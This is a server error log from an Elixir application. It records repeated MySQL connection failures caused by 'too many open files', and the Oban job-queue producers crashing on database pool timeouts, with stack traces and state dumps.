[Sat Sep  5 23:14:39.851000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:14:42.837000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:14:45.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2085ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:14:33.242930Z], limit: 20, uuid: "cc43d82b-16a6-4120-ad4b-2b3763584b15", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:14:33.242936Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.243199>, refresh_timer: #Reference<0.2525715032.1099431938.12290>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:14:45.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2011ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:14:33.240911Z], limit: 5, uuid: "fa9b39e9-7255-4dde-8902-9e8b76da3925", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:14:33.240920Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.243195>, refresh_timer: #Reference<0.2525715032.1077411843.243156>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:14:45.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2002ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:14:33.241420Z], limit: 5, uuid: "0864deda-0a34-4420-9972-6d51e8033b66", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:14:33.241427Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.243197>, refresh_timer: #Reference<0.2525715032.1121189889.111623>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:14:45.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2037ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:14:33.237942Z], limit: 3, uuid: "627e643f-d46a-4601-adb8-a8a202127a7e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:14:33.237950Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.243196>, refresh_timer: #Reference<0.2525715032.1077411843.243161>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:14:45.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1875ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:14:33.254791Z], limit: 50, uuid: "bc3c8d2f-381c-4133-9e71-b1e21d3d2f80", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:14:33.254798Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.243198>, refresh_timer: #Reference<0.2525715032.1121189889.111635>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:14:45.426000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:14:45.999000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:14:49.104000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:14:50.562000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:14:51.097000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:14:51.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2039ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:14:39.239049Z], limit: 10, uuid: "d4ea7821-a790-4e30-bd74-95f23469b71c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:14:39.239059Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.243345>, refresh_timer: #Reference<0.2525715032.1077411843.243332>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:14:51.270000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:14:57.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1840ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:14:45.240848Z], limit: 20, uuid: "0417db9c-73cf-478f-a56a-c8d7a9dabb6e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:14:45.240854Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.262138>, refresh_timer: #Reference<0.2525715032.1068236804.262097>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:14:57.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2069ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:14:45.244042Z], limit: 5, uuid: "95b4605a-5518-4105-8c05-07f94199306f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:14:45.244048Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.111673>, refresh_timer: #Reference<0.2525715032.1121189889.111672>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:14:57.240000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1819ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
